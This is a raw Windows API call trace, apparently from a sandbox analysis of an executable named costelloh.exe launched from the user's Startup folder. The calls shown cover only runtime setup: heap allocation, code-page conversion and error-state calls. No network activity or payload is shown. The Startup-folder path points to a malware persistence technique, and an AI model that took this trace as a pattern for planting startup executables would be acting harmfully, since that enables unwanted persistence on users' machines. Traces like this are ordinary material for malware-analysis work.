	[0206.827] GetStartupInfoW (in: lpStartupInfo=0x8ffa40 | out: lpStartupInfo=0x8ffa40*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0206.827] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0206.827] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x180000
	[0206.831] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.831] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsAlloc") returned 0x74af4ae0
	[0206.831] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsGetValue") returned 0x74af4b20
	[0206.831] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsSetValue") returned 0x74af4b40
	[0206.831] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsFree") returned 0x74af4b00
	[0206.832] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x214) returned 0x1805a8
	[0206.832] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.832] GetCurrentThreadId () returned 0xbdc
	[0206.832] GetStartupInfoW (in: lpStartupInfo=0x8ff9dc | out: lpStartupInfo=0x8ff9dc*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x10871aa, hStdOutput=0x10874e3, hStdError=0x1805a8)) 
	[0206.832] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x800) returned 0x1807c8
	[0206.832] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0206.832] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0206.833] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0206.833] SetHandleCount (uNumber=0x20) returned 0x20
	[0206.833] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe\" "
	[0206.833] GetEnvironmentStringsW () returned 0x1edc28*
	[0206.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410
	[0206.833] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x582) returned 0x180fd0
	[0206.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x180fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410
	[0206.833] FreeEnvironmentStringsW (penv=0x1edc28) returned 1
	[0206.833] GetLastError () returned 0xcb
	[0206.833] SetLastError (dwErrCode=0xcb) 
	[0206.833] GetLastError () returned 0xcb
	[0206.833] SetLastError (dwErrCode=0xcb) 
	[0206.833] GetLastError () returned 0xcb
	[0206.833] SetLastError (dwErrCode=0xcb) 
	[0206.833] GetACP () returned 0x4e4
	[0206.833] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x220) returned 0x181560
	[0206.833] GetLastError () returned 0xcb
	[0206.833] SetLastError (dwErrCode=0xcb) 
	[0206.833] IsValidCodePage (CodePage=0x4e4) returned 1
	[0206.833] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x8ff9a4 | out: lpCPInfo=0x8ff9a4) returned 1
	[0206.833] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x8ff470 | out: lpCPInfo=0x8ff470) returned 1
	[0206.833] GetLastError () returned 0xcb
	[0206.833] SetLastError (dwErrCode=0xcb) 
	[0206.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x8ff1e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0206.834] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x8ff484 | out: lpCharType=0x8ff484) returned 1
	[0206.834] GetLastError () returned 0xcb
	[0206.834] SetLastError (dwErrCode=0xcb) 
	[0206.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x8ff1b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ") returned 256
	[0206.834] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.834] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ", cchSrc=256, lpDestStr=0x8fefa8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0206.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x8ff784, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x88\xa7\xa7\x08\xbc\xf9\x8f", lpUsedDefaultChar=0x0) returned 256
	[0206.834] GetLastError () returned 0xcb
	[0206.834] SetLastError (dwErrCode=0xcb) 
	[0206.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8ff884, cbMultiByte=256, lpWideCharStr=0x8ff1d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ") returned 256
	[0206.834] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.834] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿺녪骫ĈĀ", cchSrc=256, lpDestStr=0x8fefc8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0206.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x8ff684, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x88\xa7\xa7\x08\xbc\xf9\x8f", lpUsedDefaultChar=0x0) returned 256
	[0206.834] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x108f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe")) returned 0x5b
	[0206.834] GetLastError () returned 0x0
	[0206.834] SetLastError (dwErrCode=0x0) 
	[0206.834] GetLastError () returned 0x0
	[0206.834] SetLastError (dwErrCode=0x0) 
	[0206.834] GetLastError () returned 0x0
	[0206.834] SetLastError (dwErrCode=0x0) 
	[0206.834] GetLastError () returned 0x0
	[0206.834] SetLastError (dwErrCode=0x0) 
	[0206.834] GetLastError () returned 0x0
	[0206.834] SetLastError (dwErrCode=0x0) 
	[0206.834] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.835] SetLastError (dwErrCode=0x0) 
	[0206.835] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.836] SetLastError (dwErrCode=0x0) 
	[0206.836] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
